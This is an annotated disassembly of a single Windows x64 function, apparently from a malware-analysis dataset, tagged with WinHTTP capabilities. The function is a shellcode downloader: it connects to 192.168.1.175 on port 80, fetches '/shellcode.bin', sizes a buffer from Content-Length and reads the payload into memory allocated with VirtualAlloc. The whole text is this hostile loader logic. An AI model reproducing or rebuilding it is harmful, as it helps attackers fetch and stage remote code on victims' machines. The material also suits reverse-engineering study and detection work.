Function at 0x140001120
Capabilities:
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r12, r9
xor ebx, ebx
mov r14d, ebx
mov qword [rsp + 0x58], rbx
mov esi, ebx
mov qword [rsp + 0x50], rbx
mov edi, ebx
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x68], ebx
mov dword [rsp + 0x6c], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.downloader
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140001307
mov r8d, 0x50
xor r9d, r9d
lea rdx, str.192.168.1.175
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140001307
mov dword [rsp + 0x30], pe_nt_image_headers64
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str._shellcode.bin
lea rdx, [0x1400032c8]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140001307
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140001307
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001307
mov dword [rsp + 0x70], 4
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
mov edx, 0x20000005
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x14000127f
mov edx, dword [rsp + 0x68]
lea rcx, str.Content_Length:__d_bytes_n
call fcn.140001010
mov eax, dword [rsp + 0x68]
jmp 0x140001294
lea rcx, str.Failed_to_query_content_length._Assuming_max_size._n
call fcn.140001010
mov eax, 0x100e438e
mov dword [rsp + 0x68], eax
mov edx, eax
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140001307
mov dword [rsp + 0x40], ebx
nop dword [rax + rax]
mov r8d, dword [rsp + 0x68]
cmp ebx, r8d
jae 0x1400012f4
sub r8d, ebx
mov edx, ebx
add rdx, r14
lea r9, [rsp + 0x6c]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140001307
mov eax, dword [rsp + 0x6c]
add ebx, eax
mov dword [rsp + 0x40], ebx
test eax, eax
je 0x1400012f4
jmp 0x1400012c0
mov dword [r12], ebx
mov edx, ebx
lea rcx, str.Downloaded__d_bytes_of_shellcode._n
call fcn.140001010
nop
test rdi, rdi
je 0x140001315
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test rsi, rsi
je 0x140001323
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r15, r15
je 0x140001331
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, r14
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001630
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret